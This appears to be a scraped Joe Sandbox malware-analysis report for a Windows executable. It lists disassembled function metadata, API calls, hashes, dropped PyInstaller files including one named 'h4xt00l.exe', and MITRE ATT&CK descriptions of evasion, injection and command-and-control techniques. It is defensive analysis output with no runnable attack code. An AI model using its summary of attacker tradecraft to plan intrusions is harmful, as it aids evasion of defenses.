Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: e8d367c4ea258391d160676196091cc4497c978f166048fd005a5cb1bdaac227
Instruction ID: b37029886734000a9d914611960cd5f5a2887ad9afd9775e9a0d01581942454c
Opcode Fuzzy Hash: e8d367c4ea258391d160676196091cc4497c978f166048fd005a5cb1bdaac227
Instruction Fuzzy Hash: 20212D72A0868143FB64AB51D04427DB7B5FB84B44FC64139D6AD5B2C4CF7CD58487E2

Function 00007FFE126C676F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE126C6B10: RtlPcToFileHeader.KERNEL32 ref: 00007FFE126C6B60
Part of subcall function 00007FFE126C6B10: RaiseException.KERNEL32 ref: 00007FFE126C6BA1

RtlPcToFileHeader.KERNEL32 ref: 00007FFE126C67DF

Strings

Bad dynamic_cast!, xrefs: 00007FFE126C6792
Access violation - no RTTI data!, xrefs: 00007FFE126C676F

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: FileHeader$ExceptionRaise
String ID: Access violation - no RTTI data!$Bad dynamic_cast!
API String ID: 3685223789-3176238549
Opcode ID: 161e8b28e34caca24568961a6528755d3751e4ffa6d3c1bec0c9a5cac7a2823b
Instruction ID: bc35bd008f84f09b104c925d487cb6facf9a6971b89ed0d9413dd0ceb666179d
Opcode Fuzzy Hash: 161e8b28e34caca24568961a6528755d3751e4ffa6d3c1bec0c9a5cac7a2823b
Instruction Fuzzy Hash: 62015261A19D4AA6EE40EB16EC501786350EFC0764FC45471E64E066F9DFECF928C714

Function 00007FF7F3DDFD48 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF7F3DDFD98
RaiseException.KERNEL32 ref: 00007FF7F3DDFDD9

Strings

csm, xrefs: 00007FF7F3DDFDC6

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction ID: 51a07d2670193f30fdf77a6b3df9b0849c16a08b4fc514a6daec13f5d6cca019
Opcode Fuzzy Hash: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction Fuzzy Hash: 2E116032609B8182EB619F25F440259B7E4FB88B98F584230DF9D1B798DF3CD551CB40

Function 00007FFE126C6B10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FFE126C6B60
RaiseException.KERNEL32 ref: 00007FFE126C6BA1

Strings

csm, xrefs: 00007FFE126C6B8E

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 96783e5d5ee86e7ed91570add2de904558e3ade983638e121ecc73efc59d9239
Instruction ID: 11546cc5c32cfb8cfa9decaf99b842c036576eac0bab099c19e98b8bacc7f026
Opcode Fuzzy Hash: 96783e5d5ee86e7ed91570add2de904558e3ade983638e121ecc73efc59d9239
Instruction Fuzzy Hash: 4A112E32618F8582EB618F16E840269B7E5FB88B94F584270DECC077A8DF7DD9618B04

Function 00007FF7F3DF073C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF076C
GetDriveTypeW.KERNEL32 ref: 00007FF7F3DF07AC

Strings

:, xrefs: 00007FF7F3DF0795

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction ID: 015f66b4f2a5ee5cba2f5e32fa5b8454245007a3e5960606f7366a6863bcd1fe
Opcode Fuzzy Hash: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction Fuzzy Hash: 0501F76191C20381F7A4BFB0A4A127EA7A0EF44744FC00135D57D6B2C9DF3CD5448BA4

Function 00007FFE126CF420 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE126C6E48: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE126C29EE), ref: 00007FFE126C6E56

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126CF45A

Strings

f, xrefs: 00007FFE126CF435
csm, xrefs: 00007FFE126CF43B

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: abortterminate
String ID: csm$f
API String ID: 661698970-629598281
Opcode ID: f31257b661c57643b6b4b1793288747ab2a9155158c122d579431834bbccefac
Instruction ID: b46a0da6668792caa567a10060c1cdd912f2dd35fc960811adbe1057235029dc
Opcode Fuzzy Hash: f31257b661c57643b6b4b1793288747ab2a9155158c122d579431834bbccefac
Instruction Fuzzy Hash: D3E06C71D0CF5682D7107B63B94013D2654BF49B74F558076D748066E7CEBCD8B04745

Function 00007FFE126C6E64 Relevance: 5.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FFE126C6CE9,?,?,?,?,00007FFE126D0582,?,?,?,?,?), ref: 00007FFE126C6E83
SetLastError.KERNEL32(?,?,?,00007FFE126C6CE9,?,?,?,?,00007FFE126D0582,?,?,?,?,?), ref: 00007FFE126C6F0C

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 29fbcb28d85caf8942357daff49778de6b87ab13b42ab574bfe6367f35ca65f9
Instruction ID: c7a4d15dd4fb71a594913c0afc08b80e675ce82eb1b75f42b58be74f510d0ebb
Opcode Fuzzy Hash: 29fbcb28d85caf8942357daff49778de6b87ab13b42ab574bfe6367f35ca65f9
Instruction Fuzzy Hash: D7118B60E0DE8B87FA15AB27AC541342251AF887B0F8486B5D97E077F5DE7CF8528704

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report aLsxeH29P2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\_MEI73522\VCRUNTIME140.dll

C:\Users\user\AppData\Local\Temp\_MEI73522\_bz2.pyd

C:\Users\user\AppData\Local\Temp\_MEI73522\_decimal.pyd

C:\Users\user\AppData\Local\Temp\_MEI73522\_hashlib.pyd

C:\Users\user\AppData\Local\Temp\_MEI73522\_lzma.pyd

C:\Users\user\AppData\Local\Temp\_MEI73522\_socket.pyd

C:\Users\user\AppData\Local\Temp\_MEI73522\base_library.zip

C:\Users\user\AppData\Local\Temp\_MEI73522\libcrypto-3.dll

C:\Users\user\AppData\Local\Temp\_MEI73522\python312.dll

C:\Users\user\AppData\Local\Temp\_MEI73522\select.pyd

C:\Users\user\AppData\Local\Temp\_MEI73522\unicodedata.pyd

C:\Users\user\AppData\Local\Temp\h4xt00l.exe

C:\Windows\appcompat\Programs\Amcache.hve

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Windows Analysis Report
aLsxeH29P2.exe

Function 00007FF7F3DD89E0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257
synchronizationwindowregistryCOMMON

Function 00007FF7F3DD1000 Relevance: 60.0, APIs: 6, Strings: 28, Instructions: 509
COMMON

Function 00007FF7F3DF6964 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Function 00007FF7F3DD1950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Function 00007FF7F3DD1600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145
COMMON

Function 00007FF7F3DD8660 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116
COMMON

Function 00007FF7F3DD1210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Function 00007FF7F3DD36B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Function 00007FF7F3DEBA5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Function 00007FF7F3DD8570 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Function 00007FF7F3DD90E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Function 00007FF7F3DECF60 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Function 00007FF7F3DE5628 Relevance: 6.1, APIs: 4, Instructions: 90
fileCOMMON

Function 00007FF7F3DDCC3C Relevance: 4.6, APIs: 3, Instructions: 94
COMMON